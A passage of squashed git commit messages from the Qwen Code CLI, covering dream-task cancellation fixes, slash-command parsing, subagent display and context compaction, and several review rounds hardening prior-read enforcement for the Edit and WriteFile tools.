  metadata write race-free: once status !== 'running', cancelTask
  refuses, so any cancel arriving during the metadata write is
  ignored. The remaining "cancel raced the synchronous status
  update" window is handled by a post-update abort recheck that
  restores 'cancelled' and skips the metadata write.

  Drops the now-dead `bumpMetadata` helper from dream.ts; index
  rebuild stays there since it's informational, not gating.

- Surface `releaseDreamLock` failures on the task record's metadata
  (`lockReleaseError`). The previous fix logged-and-swallowed only,
  so a Windows EPERM or ENOENT race would silently block subsequent
  dreams as 'locked' with no UI signal explaining why dreaming had
  stopped. Logger keeps emitting the warn for debug bundles.

* fix(core,cli): address 8 review findings on dream surface

Reverts the metadata-write behavior regression, plugs the
storeWith reentrancy hole, surfaces lock/metadata warnings in the
UI, and a handful of cleanups:

- Wrap gating-metadata read+write in try/catch (manager.ts). The
  PR moved metadata writes from dream.ts (best-effort, swallowed)
  to manager.ts (unguarded). A throw from readDreamMetadata /
  writeDreamMetadata now propagates to the outer catch and
  overwrites a successfully-completed dream with 'failed' — the
  dream actually did its work and touched files are visible. New
  catch logs + writes `metadataWriteError` on the record so the UI
  can explain why the next dream may re-fire sooner than expected.

- Register the AbortController BEFORE storeWith in scheduleDream.
  storeWith fires a notify; a subscriber synchronously calling
  cancelTask(record.id) would otherwise see status='running' but
  no controller, hitting the missing-controller defensive warn
  path and reporting a phantom failure on a brand-new dream.

- Surface `lockReleaseError` and `metadataWriteError` in the dream
  view-model and DreamDetailBody (rendered as warnings, not
  errors, so the terminal status stays Completed). Previous fix
  wrote them to record.metadata only — nothing in the cli read or
  rendered them, so users still had no UI signal.

- Preserve `result.touchedTopics` on the unreachable cancel-raced-
  status-update branch. If a future refactor introduces an await
  there, the restored cancelled record would otherwise drop the
  already-produced result; the UI would report a clean cancellation
  even though memory files were already modified.

- Add `'cancelled'` to MemoryDreamEvent status union and emit a
  cancelled telemetry event from the runDream catch path. Without
  this a cancelled dream is indistinguishable from one that never
  scheduled in the first place.

- Drop the dead abortSignal param from updateDreamMetadataResult
  in dream.ts (no caller passes it after the manager.ts move).

- Swap declaration order of `computeDreamSig` and `refresh` in
  useBackgroundTaskView.ts (TDZ-fragile against a future refactor
  that adds a synchronous refresh call between them).

- Update the unreachable cancel-raced-update branch comment to
  describe what's actually true ("defense-in-depth, unreachable
  today") instead of the confusing "cancelTask flipped" path.

- cancelSelected now checks the cancelTask return value and logs
  via debugLogger when false. Today this branch is unreachable
  thanks to the controller-register-before-storeWith fix above,
  but if a future refactor breaks the invariant the silent ignore
  would let the user think the cancel took effect.

- Mirror the manual /dream metadata path's `recentSessionIdsSinceDream = []`
  reset in the auto path — field is dead code today but keeping
  the two write sites in sync avoids surprises.

Telemetry metric `recordMemoryDreamMetrics` widened to accept the
new 'cancelled' status (downstream consumer in loggers.ts).

* fix(memory): same-session recovery when releaseDreamLock throws

The prior fix surfaced lockReleaseError on the dialog so the user knows
the lock release failed (Windows EPERM, ENOENT race, disk full, etc.) —
but until next process start, dreamLockExists() still sees a fresh-mtime
lock owned by an alive PID (us!) and silently suppresses every
subsequent scheduleDream() call as `{status: 'skipped',
skippedReason: 'locked'}`. The user sees the warning AND zero further
dream activity, and the staleness sweep that would clean the leaked
lock only runs at session start.

Adds a `dreamLockReleaseFailed` flag set in the catch. The next
scheduleDream() force-cleans the leaked lock file via fs.rm({force: true})
before the existence check, so dream scheduling resumes within the same
session. Best-effort: if even the forced rm fails (truly unrecoverable
filesystem state), falls through to the existing 'locked' skip path.

This is an incremental improvement on top of b00ecde's UI-surface fix.
The two together give the full story: warning visible → automatic
recovery on next attempt.

* fix(memory): real cancelled-dream duration + clarify index-rebuild ordering

Two follow-up suggestions from review:

- **`duration_ms: 0` in cancelled-dream telemetry** (manager.ts):
  the user-cancel path emitted `MemoryDreamEvent` with
  `duration_ms: 0`, which would silently skew latency histograms / p95
  metrics by treating cancelled dreams as instant. Capture
  `dreamStartMs = Date.now()` at the top of `runDream` and emit the
  real elapsed time in the cancel branch.

- **Misleading index-rebuild comment** (dream.ts:75–84): the comment
  claimed the index rebuild "is still done before returning when
  topics were touched", but the code returns early on
  `abortSignal?.aborted` BEFORE the rebuild. Rewrote the comment to
  describe the actual cancel-aware ordering — abort returns partial
  result without rebuilding (rebuild is expensive; next dream cycle
  will rebuild against the latest files anyway), live path rebuilds
  only when topics changed.

22 / 22 manager tests pass; tsc clean.
Align the Python SDK's TAG_PREFIX with the TypeScript SDK convention by
changing it from 'sdk-python-' to 'sdk-python-v'. This removes the need
for callers to manually inject the `v` when composing git tags, eliminating
an asymmetry that could lead to doubled or missing `v` prefixes when code
is copied between SDK release helpers.

The final tag format (sdk-python-v0.1.0) is unchanged.

Closes #3793

🤖 Generated with [Qwen Code](https://github.com/QwenLM/qwen-code)

Co-authored-by: jinye.djy <jinye.djy@alibaba-inc.com>
)

* fix(cli): prevent file paths from being treated as slash commands (#1804)

When users input file paths starting with '/' (e.g. '/api/apiFunction/...',
'/Users/name/path'), they were incorrectly parsed as slash commands, resulting
in "Unknown command" errors. The input was discarded instead of being sent to
the model for processing.

Root cause: isSlashCommand() only checked for a '/' prefix without validating
whether the first token actually looks like a command name. Any '/' prefix
triggered the slash command flow, and when no matching command was found, the
error was shown with no fallback.

Fix: Add looksLikeCommandName() that validates command names contain only
[a-zA-Z0-9:_-]. Both isSlashCommand() and handleSlashCommand() now check the
first token — if it contains path separators, dots, or non-ASCII characters,
the input falls through to normal model processing instead of the command
dispatcher.

Closes #1804

* fix(cli): allow dots in command names and fix prettier formatting

Address review feedback:
- Allow '.' in looksLikeCommandName() regex to support extension-qualified
  commands like gcp.deploy (CommandService renames conflicts as ext.cmd)
- Add regression tests for dot-named commands in both commandUtils and
  slashCommandProcessor
- Fix prettier formatting in slashCommandProcessor test file

* fix(cli): handle slash command review edge cases

* docs(cli): align slash command validation comment

* fix(cli): preserve slash prompt ordering

* fix(cli): reject shell-metacharacter slash tokens

* test(cli): align slash command action mocks

* fix(cli): track model-sent user turns

* fix(cli): narrow slash path handling scope

* fix(cli): count slash path prompts in history

* test(cli): type slash command action mocks
…ng (#3768)

* feat(cli): route foreground subagents through pill+dialog while running

Foreground (synchronous) subagents currently render a live AgentExecutionDisplay
inside the parent's pendingHistoryItems block. The frame mutates on every tool
call and approval; once it grows past the terminal height (verbose mode, parallel
subagents, long tool-call lists) the live-area repaint flickers visibly.

This change extends BackgroundTaskRegistry with a flavor: 'foreground' | 'background'
discriminator. Foreground entries register at the start of the synchronous tool-call
and unregister in its finally path. The pill counts them; the dialog drills into
their activity. The inline frame is suppressed during the live phase — only an
active, focus-locked approval prompt renders, as a small banner labeled with the
originating agent. Once the parent turn commits, the full AgentExecutionDisplay
appears in scrollback via Ink's <Static>, exactly as before.

Foreground entries skip the XML task-notification (the parent receives the result
through the normal tool-result channel) and skip the headless holdback (the
parent's await already pins the loop). The dialog gates per-agent cancellation
behind a two-step confirm so a stray 'x' can't end the user's current turn.

* fix(cli): address review findings on foreground subagent routing

- Gate `registerCallback` on background flavor so foreground entries
  don't leak orphaned `task_started` SDK events without a matching
  terminal notification.
- Render a queued-approval marker for non-focus subagents instead of
  returning null, so a queued approval is visible in the main view.
- Move `emitStatusChange` before `agents.delete` in
  `unregisterForeground` to match the ordering used by
  complete/fail/cancel/finalize.
- Prefix the foreground tool result with a cancel marker when
  `terminateMode === CANCELLED`, so the parent model can distinguish
  a user-cancelled run from a successful completion.
- Mirror the background path's stats wiring on the foreground path
  so `entry.stats` stays current and the dialog detail subtitle
  shows tool count + tokens for foreground runs.
- Remove the unreachable `isWaitingForOtherApproval` branch (subsumed
  by the queued-approval marker above).
- Reset the foreground confirm-step on detail-mode `left` and ignore
  `x` on terminal entries so an armed cancel can't carry into list
  mode and the hint footer/handler stay in sync.
- Test factory uses a `baseProps` spread instead of `as` cast so a
  future required field on `ToolMessageProps` is a compile-time miss.
* fix(core): auto-compact subagent context to prevent overflow

Subagent chats accumulated history without ever compacting, so a long
multi-turn run could hit "max context length exceeded" before the
compaction logic the main session uses had a chance to fire.

Move compaction down into the chat layer so both main agent and subagent
auto-compress at the configured threshold, and surface the result via a
new chat stream event that bridges into the existing ChatCompressed UI
path. The main-session wrapper still owns full /compress reset.

Closes #3664

* fix(core): address subagent compaction review feedback

Code fixes:
- Seed `lastPromptTokenCount` on subagent chats so the first-send
  threshold gate sees the inherited history's true size.
- Add `COMPRESSION_FAILED_TOKEN_COUNT_ERROR` to the fail-latch chain
  so token-counting failures stop retrying compression every send.
- Restore `FileReadCache.clear()` after compaction in both the manual
  /compress wrapper and the auto-compaction path inside GeminiChat,
  preventing post-summary `file_unchanged` placeholders from pointing
  at content the model can no longer retrieve.
- Refresh stale comment on the `compressed → ChatCompressed` bridge
  in turn.ts now that this path is the primary route, not a fallback.

Tests:
- turn.test.ts asserts the compressed → ChatCompressed bridge.
- geminiChat.test.ts asserts COMPRESSED yields as the first stream
  event after auto-compaction succeeds.
- chatCompressionService.test.ts bumps originalTokenCount above the
  cheap-gate so the NOOP test exercises findCompressSplitPoint.
- client.test.ts asserts forceFullIdeContext flips when a
  ChatCompressed event flows through sendMessageStream's loop.

* chore(core): drop redundant StreamEvent cast and document auto-compaction trade-off

- Remove the `as StreamEvent` cast at the COMPRESSED yield site — the
  literal already matches the union member.
- Add a 4-line comment at the auto-compaction setHistory point that
  points readers to GeminiClient for the env-refresh trade-off rationale,
  so readers don't have to chase the layering decision back across files.
…#3774)

* feat(core): enforce prior read before Edit / WriteFile mutates a file

Introduces a session-scoped invariant: the model cannot mutate an
existing file without having actually Read it (or its post-write
state) earlier in this conversation. Builds on the FileReadCache
landed in #3717.

Two new ToolErrorType codes:
- EDIT_REQUIRES_PRIOR_READ — file has no entry in the session cache.
  The model is told to use read_file first.
- FILE_CHANGED_SINCE_READ — file has an entry but its mtime or size
  drifted since the recorded fingerprint. The model is told to
  re-read before retrying.

EditTool blocks the existing-file path on cache.check; new-file
creation (old_string === '' on a non-existent target) is exempt.
WriteFileTool blocks the overwrite path; new-file creation
(fileExists === false) is exempt.

Both tools route through the existing fileReadCacheDisabled escape
hatch on Config — flipping it bypasses enforcement byte-for-byte,
matching pre-cache behaviour. Operators can use this as a kill switch
if a session falls into a state where the cache cannot be trusted.

ReadFile fix on the auto-memory path: PR #3717 had auto-memory reads
skip the cache entirely (both lookup and record), but with the new
enforcement that means a model that just Read AGENTS.md cannot then
Edit it. Decoupled the two: auto-memory reads still skip the
file_unchanged fast-path (the per-read freshness <system-reminder>
must always reach the model) but DO record into the cache so the
follow-up Edit sees `fresh`. New regression test asserts this.

Test plan
- vitest run (all of @qwen-code/qwen-code-core): 6308 passed, 2 skipped
- 9 new enforcement tests across edit.test.ts and write-file.test.ts:
  unknown rejects, stale rejects, new-file exempt, edit chain stays
  authorised, escape hatch bypasses, plus the auto-memory record
  regression in read-file.test.ts.
- tsc --noEmit clean. eslint clean. core build succeeds.

* test(core): clear shared fileReadCache between write-file.test.ts cases

CI surfaced one Linux-only failure: the prior-read enforcement test
'rejects a write that would overwrite an unread existing file'
returned FILE_CHANGED_SINCE_READ instead of EDIT_REQUIRES_PRIOR_READ.

Root cause: the FileReadCache instance is declared at module scope
(line 41) and shared across every test in write-file.test.ts. State
from earlier tests — most recently the 'records a write' integration
test that records the same path — leaks forward. On Linux the test
ordering puts a record-bearing test before the enforcement test, so
the cache reports `stale` (mtime drifted) instead of `unknown`.
macOS / Windows happen to order them differently and never hit it.

Adding a fileReadCache.clear() to beforeEach gives every test a
known-empty cache, matching how edit.test.ts already isolates its
per-test cache by re-instantiating it.

* fix(core): close prior-read enforcement gaps flagged in 3rd review

Three concrete loopholes / regressions that the original PR-B
introduction left open. All three are addressed in the same commit
because the underlying refactor (move enforcement earlier and tighten
the fresh predicate) is shared across them.

1. fresh != "model has seen the bytes". Pre-fix, requirePriorRead()
   accepted any cache.check === 'fresh'. ReadFileTool records every
   successful read into the cache, including ranged reads
   (offset/limit), truncated full reads, and non-cacheable
   binary/image/audio/video/PDF/notebook reads (lastReadCacheable
   = false). This let the model peek at a slice or a structured
   payload of a file and then mutate the whole thing. Tightened the
   accept predicate to fresh && lastReadAt && lastReadWasFull &&
   lastReadCacheable.

2. Read-less content oracle through calculateEdit error codes. Pre-fix,
   execute() ran calculateEdit (which reads file bytes and counts
   matches) before the enforcement check. A model could probe an
   unread file by attempting Edits with candidate old_strings and
   observing NO_OCCURRENCE_FOUND vs EXPECTED_OCCURRENCE_MISMATCH vs
   EDIT_NO_CHANGE — reverse-engineering content without ever calling
   read_file. Moved enforcement to the top of calculateEdit, before
   any content read; only a stat is performed up to the rejection
   point.

3. Confirmation flow regression. Pre-fix, getConfirmationDetails()
   read the existing file to render a diff for the user, then
   approval flowed to execute() which would freshly check the cache
   and reject. The user could approve a diff computed from current
   bytes the model never saw, and the call would still fail. Moved
   enforcement before the confirmation read in both EditTool (via the
   shared calculateEdit path) and WriteFileTool (explicit check at
   the top of getConfirmationDetails). The user now never sees a
   confirmation diff for an unread file — the call rejects up front.

Public API surface change: requirePriorRead() -> checkPriorRead() that
returns a structured decision, so the same predicate can route into
a CalculatedEdit.error (calculateEdit), a thrown error
(getConfirmationDetails), or a ToolResult (execute) without
duplicating the boolean / message / type plumbing in three shapes.

Reported by pomelo-nwu (3 inline comments on PR #3774).

* refactor(core): close 4 prior-read enforcement gaps from 4th review

1. recordWrite now seeds read metadata on brand-new entries
   (lastReadAt / lastReadWasFull / lastReadCacheable). The strict
   accept predicate added in the previous round (#3 review) requires
   all three, but recordWrite only set lastWriteAt — so a model
   creating a file with Edit (old_string="") or WriteFile and then
   editing it again was rejected on the second edit. The model
   authored the bytes it just wrote; for the purposes of prior-read
   enforcement that counts as having seen them. New regression test
   in edit.test.ts: "allows a create-then-edit-then-edit chain
   without an intervening read".

2. Extracted checkPriorRead into src/tools/priorReadEnforcement.ts.
   The two copies in edit.ts and write-file.ts had already drifted
   (one used ${ReadFileTool.Name}, the other hardcoded 'read_file');
   the boolean guard is security-sensitive and a one-sided fix
   would silently weaken the boundary. The shared utility takes a
   verb ('editing' | 'overwriting') so the user-facing prose can
   differ between callers without duplicating the decision logic.

3. WriteFileTool.execute now runs prior-read enforcement BEFORE
   readTextFile. Pre-fix, an unread overwrite still slurped the
   entire file into memory (encoding / BOM / line-ending detection)
   and only then rejected it: wasted I/O, and momentary in-memory
   custody of bytes the model never legitimately read. Now matches
   the order in getConfirmationDetails().

4. The "rejects a write that would overwrite an unread existing
   file" test now spies on FileSystemService.readTextFile and
   asserts not.toHaveBeenCalled() — without that, the test gave
   false confidence: it passed both pre-fix (read happened, then
   reject) and post-fix (reject before read), so the ordering
   regression in (3) was invisible to the assertion.

Reported by glm-5.1 via /review on PR #3774.

* refactor(core): close 4 prior-read enforcement gaps from 4th review (Copilot)

Five concrete gaps that the previous round of enforcement work left
open. Reported by Copilot via /review on PR #3774.

1. Confirmation-time rejections lost their ToolErrorType code.
   getConfirmationDetails() in both EditTool and WriteFileTool threw
   a plain Error on prior-read failure, which coreToolScheduler
   collapsed into UNHANDLED_EXCEPTION — silently breaking the
   EDIT_REQUIRES_PRIOR_READ / FILE_CHANGED_SINCE_READ contract for
   any approval-required flow.

   Fix: introduce PriorReadEnforcementError that carries
   `errorType: ToolErrorType`. Both confirmation paths now throw it,
   and coreToolScheduler reads `error.errorType` (falling back to
   UNHANDLED_EXCEPTION when absent). New regression tests assert
   the thrown error's `errorType` field for both tools.

2. checkPriorRead's "re-read with read_file" advice was wrong for
   binary / image / audio / video / PDF / notebook files. Their
   ReadFile result always sets lastReadCacheable=false, so the
   message would loop the agent forever on the same rejection.

   Fix: detect the fresh-but-non-cacheable case explicitly and
   return a dedicated message that explains the dead end ("Edit /
   WriteFile cannot mutate that payload safely") instead of asking
   for another read. Updated the existing non-cacheable regression
   test to assert the new message and the absence of "use the
   read_file tool first".

3. checkPriorRead swallowed every stat() failure and returned
   ok:true. EACCES, EBUSY, NFS hiccups, etc. would silently
   re-open the blind-write path the helper exists to block.

   Fix: only ENOENT continues to return ok:true (disappearance
   race). Any other code is fail-closed: returns
   EDIT_REQUIRES_PRIOR_READ with a message that names the errno.
   New regression test in write-file.test.ts spies on fs.promises
   .stat to inject EACCES and asserts the rejection.

4. The auto-memory record regression test only asserted `state ===
   'fresh'`. A future change that recorded auto-memory reads as
   partial / non-cacheable would still satisfy that assertion but
   would actually fail enforcement on every follow-up Edit.

   Fix: also assert lastReadAt is defined, lastReadWasFull is true,
   and lastReadCacheable is true. The full "what enforcement
   requires" predicate is now explicit in the test.

(The 5th item, the WriteFile mirror of (1), is covered by the same
PriorReadEnforcementError change.)

* refactor(core): tighten StructuredToolError naming + add scheduler test

Four follow-ups raised by deepseek-v4-pro on PR #3774. None of them
change the enforcement boundary; they are all about making the
contract clearer and harder to break in future changes.

1. PriorReadEnforcementError -> StructuredToolError. The class now
   wraps any content-derived ToolErrorType from calculateEdit
   (EDIT_NO_OCCURRENCE_FOUND, EDIT_EXPECTED_OCCURRENCE_MISMATCH,
   EDIT_NO_CHANGE, ATTEMPT_TO_CREATE_EXISTING_FILE) on top of the
   prior-read codes. The old name suggested the class was prior-
   read-specific, which would mislead any oncall engineer seeing
   it paired with one of the calculateEdit error codes.

2. EDIT_REQUIRES_PRIOR_READ kept its name (the prefix mentions
   "edit" but the enum is shared with WriteFileTool) — chose
   documentation over rename to avoid the churn of a value rename
   across logs/dashboards already keyed on it. JSDoc now spells
   out the cross-tool usage explicitly.

3. Stat failures other than ENOENT now map to a new
   PRIOR_READ_VERIFICATION_FAILED code instead of being conflated
   with EDIT_REQUIRES_PRIOR_READ. The failure mode is "we cannot
   verify" rather than "definitely not read" — operators routing
   on error codes can distinguish the two populations.

4. Added a coreToolScheduler test (`surfaces error.errorType from
   a confirmation throw instead of UNHANDLED_EXCEPTION`) that
   constructs a stub tool whose getConfirmationDetails throws
   StructuredToolError and asserts the surfaced ToolCall response
   carries the correct ToolErrorType. Without this test the
   scheduler's explicitErrorType branch would have no coverage at
   all.

Tool tests updated for the new StructuredToolError class name and
the PRIOR_READ_VERIFICATION_FAILED code on the EACCES path.

* fix(core): close TOCTOU + grammar + directory regressions in PR-B

Six concrete issues that the previous round of enforcement work
left open. Reported by Copilot via /review on PR #3774.

1. TOCTOU window between pre-read checkPriorRead and readTextFile.
   The pre-read stat could pass enforcement, then an external writer
   could land between that stat and the actual read, leaving
   currentContent reflecting bytes the model never saw — exactly the
   stale-write path the PR is supposed to block. Closed by re-running
   checkPriorRead immediately after every readTextFile that fed
   currentContent / originalContent: EditTool.calculateEdit and the
   two WriteFileTool paths (execute + getConfirmationDetails). A
   `stale` outcome now fails the operation with
   FILE_CHANGED_SINCE_READ at the correct moment.

2. Directory targets sent the model into an enforcement loop.
   `fileExists` is a plain access check, so directories also entered
   the enforcement branch — the model would be told to call
   `read_file`, but `read_file` rejects directories with
   TARGET_IS_DIRECTORY, so the loop never terminated. Fixed in
   checkPriorRead: if `fs.stat` reports the path is not a regular
   file, return `ok: true` so the downstream readTextFile / write
   path can surface its own EISDIR / similar error.

3. Confirmation-time error messages used the short `display` form
   instead of the full `raw` form. Approval-required Edit calls
   therefore lost the remediation detail (file path, stale-vs-unread
   distinction, "without offset / limit / pages" hint) that the
   execute path already surfaced and that the WriteFile confirmation
   path already preserved. EditTool.getConfirmationDetails now
   throws StructuredToolError with `editData.error.raw`.

4. Non-text payload displayMessage was grammatically broken: built
   from the gerund `editing` / `overwriting`, it rendered as
   "cannot editing via this tool" / "cannot overwriting via this
   tool". Fixed by deriving a bare-verb form (`edit` / `overwrite`)
   alongside the gerund and using it in displayMessage.

(Items 1, 5 and 6 from Copilot's batch are the same TOCTOU class —
EditTool calculateEdit + WriteFile execute + WriteFile confirmation —
addressed together in (1) above.)

The "bypasses enforcement entirely" test now uses mockReturnValue
instead of mockReturnValueOnce because calculateEdit calls
getFileReadCacheDisabled twice — once for the pre-read check and
once for the post-read TOCTOU re-check. Both must see disabled=true
to actually bypass.

* fix(core): close fileExists TOCTOU on WriteFile prior-read enforcement

WriteFile gated prior-read enforcement on `fileExists` from
`isFilefileExists()`, but a file that sprang into existence between
that check and the write would still be overwritten without
enforcement — `fileExists === false` skipped the check entirely.

Made the gate unconditional on `fileExists`. checkPriorRead's own
`fs.stat` decides what to do:
- ENOENT → ok:true, fall through to the new-file path as before
- file exists right now (whether or not isFilefileExists saw it) →
  unknown / stale check runs, the race-created file is rejected.

Applied to both getConfirmationDetails and execute. The path that
actually creates new files is unchanged because checkPriorRead's
ENOENT branch is the disappearance-race exit, which is the correct
exit for "the file truly does not exist yet".

Reported by glm-5.1 via /review on PR #3774.

* fix(core): close 4 enforcement gaps + 1 critical bug from 5th Copilot review

Six issues raised by deepseek-v4-pro / glm-5.1 / qwen3.6-plus on
PR #3774. Listed by reviewer-assigned severity.

[Critical] (qwen3.6-plus) recordWrite previously only seeded the
read metadata for brand-new entries. The reproduction was real:
ReadFile(limit=10) → WriteFile(full content) → Edit. The partial
read's lastReadWasFull=false would persist through the write, and
the Edit would be rejected with EDIT_REQUIRES_PRIOR_READ even
though the model just authored every byte. recordWrite now
unconditionally refreshes lastReadAt, lastReadWasFull=true, and
lastReadCacheable=true. The fileReadCache.test.ts case that
previously asserted "preserves lastReadAt" is rewritten to assert
the new "refreshes lastReadAt to match the write" contract, and a
new "upgrades lastReadWasFull / lastReadCacheable after a full
write" regression test pins the reproduction reviewer described.

[Suggestion] (deepseek-v4-pro) Narrowed the non-regular-file
bypass in priorReadEnforcement from `!stats.isFile()` to
`stats.isDirectory()`. The earlier broad form covered FIFOs,
sockets, and devices that the model has no legitimate "read first"
recourse for and that can block readTextFile (FIFO) or
over-allocate (/dev/urandom). Those now flow through to
cache.check() and reject with the unread-file path before any I/O.

[Suggestion] (glm-5.1) Removed the `fileExists && ...` gate from
EditTool.calculateEdit, mirroring the f4ef756 fix on WriteFile.
A file that springs into existence between isFilefileExists() and
the enforcement check is now caught here as well; ENOENT inside
checkPriorRead remains the disappearance-race exit and new-file
creation flow is unchanged.

[Suggestion] (deepseek-v4-pro) Added debugLogger.warn() at every
post-read TOCTOU rejection site (Edit calculateEdit, WriteFile
getConfirmationDetails, WriteFile execute). These rejections are
rare and self-healing — without a debug record, an operator
investigating "why did this Edit fail once?" had nothing to grep.
debugLogger uses dedicated 'EDIT_PRIOR_READ' / 'WRITE_FILE' tags.

[Suggestion] (qwen3.6-plus) Added a final pre-write checkPriorRead
in EditTool.execute() and WriteFileTool.execute(). The earlier
post-read check ran inside calculateEdit (Edit) or before mkdirSync
(WriteFile), but the actual writeTextFile call could be arbitrarily
later — user approval, modify-and-confirm, etc. The window from
"post-read check → writeTextFile" is now bounded to "pre-write
stat → writeTextFile" (two adjacent syscalls).

* fix(core): close new-file race + special-file enforcement loop

Three issues from the latest Copilot review on PR #3774.

1. New-file race in pre-write enforcement (write-file.ts:348,
   edit.ts:487). The earlier pre-write checkPriorRead was gated on
   `fileExists` (WriteFile) and `!editData.isNewFile` (Edit). If the
   path was absent at planning time and another process created it
   while approval was pending, the gated form would skip enforcement
   and silently overwrite a pre-existing file the model never read.
   Run unconditionally in both tools — checkPriorRead's own ENOENT
   branch is the disappearance-race exit, so genuine new-file
   creation is unaffected, but a race-created file now hits the
   `unknown` branch and is rejected as unread.

2. FIFO / socket / device sent the model into an enforcement loop
   (priorReadEnforcement.ts:220). After narrowing the
   non-regular-file bypass to directories only, FIFOs etc. fell
   through to cache.check, returned `unknown`, and produced a
   "use read_file first" message — but read_file rejects those same
   targets as "not a regular file", so the model would loop on
   read_file forever. Added a dedicated `!stats.isFile()` branch
   (after the directory exemption) that returns a "special file;
   cannot edit/overwrite via this tool — use shell instead" message,
   matching the shape of the existing non-text-payload guidance.

(Tool-error.ts and the non-cacheable policy notes are addressed in
the PR description update — not in code.)

* fix(core): close 4 enforcement gaps from 6th Copilot review

(Plus a doc-only update for the 5th — the mtime+size limitation
warning in the Risk section now mentions the silent-overwrite
escalation that this PR's mutation paths bring along.)

1. ENOENT after the model has already read the file is no longer
   silently treated as `ok: true`. Added an `expectExisting` option
   to `checkPriorRead`; post-read and pre-write callers pass `true`.
   ENOENT under that flag now rejects with `FILE_CHANGED_SINCE_READ`
   ("file disappeared after the model read it") rather than falling
   through to the new-file path with stale bytes. Pre-read callers
   keep the old default (ENOENT → ok:true → fall through to genuine
   new-file creation). EditTool's pre-write check derives the flag
   from `editData.isNewFile`; WriteFile's pre-write check derives it
   from the post-read `fileExists` value.

2. Directory targets now reject with `TARGET_IS_DIRECTORY` and a
   structured message instead of returning `ok: true`. The previous
   form fell through to readTextFile(), which on the WriteFile
   confirmation path threw a plain Error and was surfaced by the
   scheduler as `UNHANDLED_EXCEPTION`. Both Edit and WriteFile now
   emit a structured rejection at enforcement time. (WriteFile's
   build-time validateToolParamValues already rejects directories,
   so the change matters most for EditTool.)

3. Non-cacheable rejection's `rawMessage` no longer hard-codes
   "overwrite" — it now uses the same `verbBare` derivation as the
   `displayMessage`, so EditTool's path correctly says "if you need
   to edit it" and WriteFile's path stays "if you need to overwrite
   it". The previous form was confusing for in-place edits.

4. WriteFile.getConfirmationDetails now mirrors execute()'s
   ENOENT-to-new-file fallback: a file that disappears between
   isFilefileExists() and the readTextFile-for-diff call no longer
   throws a plain Error (which would surface as
   UNHANDLED_EXCEPTION) — it falls back to the brand-new-file diff
   so the user sees a clean confirmation rather than an unstructured
   crash.

Tests:
- New: `rejects an edit on a directory with TARGET_IS_DIRECTORY`
- New: `confirmation falls back to a new-file diff when the file
  disappears mid-flight` (WriteFile)
- Updated: non-cacheable rejection asserts `verbBare` is "edit" on
  the EditTool path and "overwrite" on the WriteFile path.

Reported by Copilot via /review on PR #3774.

* docs(core): clarify stat→write race + EDIT_REQUIRES_PRIOR_READ scope

Three doc-only follow-ups from Copilot's latest review pass on PR
#3774. None change behaviour; the pre-fix code state was already
the actual contract — the docs just lagged it.

1. EDIT_REQUIRES_PRIOR_READ enum comment now lists the three cases
   the code actually returns it for (never-read, partial / ranged /
   non-cacheable read, structural dead end — non-text payload or
   special file). The previous one-liner described only the first
   case and would mislead future maintainers.

2. The Final pre-write freshness check blocks in EditTool.execute
   and WriteFileTool.execute now spell out that they DO NOT
   eliminate the stat → writeTextFile race. The window narrows
   from the previously-unbounded post-read-to-write gap down to
   two adjacent syscalls, but a concurrent writer landing in
   that pair can still be clobbered. Closing the residual would
   require an atomic write (write-to-temp + rename) or a
   content-hash post-write recheck — both deferred. Operators who
   need strict protection set `fileReadCacheDisabled: true` and
   rely on application-level locking.

3. PR description Risk section gains a "Known unmitigated: stat →
   write race window" subsection (English + Chinese mirror)
   matching the code comments.

* chore(core): minor follow-ups from review #4229917446

Three of the five MINOR items raised in the independent code review
on 2026-05-05 — the cheap, isolated ones. The other two (race-
simulating integration test, moving StructuredToolError out of
priorReadEnforcement.ts) are deferred as the reviewer suggested.

1. EditTool now has a symmetric `PRIOR_READ_VERIFICATION_FAILED`
   regression test (mocks fs.promises.stat to reject with EACCES,
   asserts the EditTool path produces the same fail-closed result
   that the existing WriteFile EACCES test pins). Five-line fix to
   close the asymmetry that, while harmless today (the helper is
   shared), would let a future Edit-side change to checkPriorRead
   slip through without test coverage.

2. ensureParentDirectoriesExist / mkdirSync now run AFTER the
   pre-write checkPriorRead in both EditTool.execute() and
   WriteFileTool.execute(). Doing it before would leak intermediate
   directories on the rejection path — a real (if minor) FS litter
   the previous order created on every rejected new-file write.

3. EDIT_REQUIRES_PRIOR_READ enum docstring gains a one-line note
   for operators routing alerts on this code: a single
   `edit_requires_prior_read` signal can mean any of the three
   cases (no read / partial read / structural dead-end), and if
   per-cause monitoring becomes important the enum can be split
   in a follow-up. The originating tool name and the message text
   already disambiguate at runtime.

* fix(core): close 2 correctness gaps from maintainer review #4232751470

Both tracked back to the cache's "track most recent read shape"
model diverging from prior-read enforcement's "model has seen
these bytes" model.

1. SVG (and similar string-content fallbacks) recorded as
   non-cacheable, blocking subsequent Edit / WriteFile.

   `read-file.ts` derives `cacheable` from
   `originalLineCount !== undefined && !isTruncated`. The SVG
   branch in `fileUtils.ts` returned content without
   `originalLineCount`, so `cacheable` collapsed to false and a
   follow-up Edit hit the dead-end "non-text payload — use shell"
   rejection — telling the model to use shell to mutate a file it
   had just successfully read as text. This was a real regression
   vs pre-PR behaviour where SVG-as-text editing worked.

   Fix: SVG-as-text branch now sets `originalLineCount` (split
   on '\n') and `isTruncated: false`, so ReadFile records it as
   a full cacheable read. The binary-fallback string and
   over-1MB SVG branches are deliberately left non-cacheable —
   they return placeholder strings ("Cannot display content of
   ...") rather than file content, so blocking edits there is
   correct. New regression test in `read-file.test.ts`:
   `records SVG-as-text reads with cacheable=true so a follow-up
   Edit passes enforcement`.

2. recordRead unconditionally overwriting lastReadWasFull /
   lastReadCacheable, revoking prior write-author or full-read
   rights.

   The `WriteFile(create) → ReadFile(offset/limit) → Edit`
   sequence rejected the Edit because the partial read clobbered
   the `lastReadWasFull = true` that `recordWrite` had stamped
   at create time. Same shape applies to a full text read
   followed by a partial one of the same inode.

   Fix: `recordRead` is now sticky-on-true for the read flags —
   `if (opts.full) entry.lastReadWasFull = true;` and the
   matching guard for `cacheable`. Prior `true` survives a later
   partial / non-cacheable read. The fast-path `file_unchanged`
   check still gates on the incoming request's own `isFullRead`
   in `read-file.ts`, so a partial read still does not get a
   placeholder it shouldn't. Updated the existing
   "overwrites earlier lastReadWasFull" test to assert the new
   sticky semantics, and added a `lastReadCacheable` symmetric
   test plus a `Write → partial-Read → Edit` end-to-end test in
   `edit.test.ts`.

Reported by tanzhenxin via independent maintainer review on
2026-05-06.

* fix(core): close 3 correctness gaps from re-review #4233904930

All three are tightenings of the prior `de8ddf530` round.

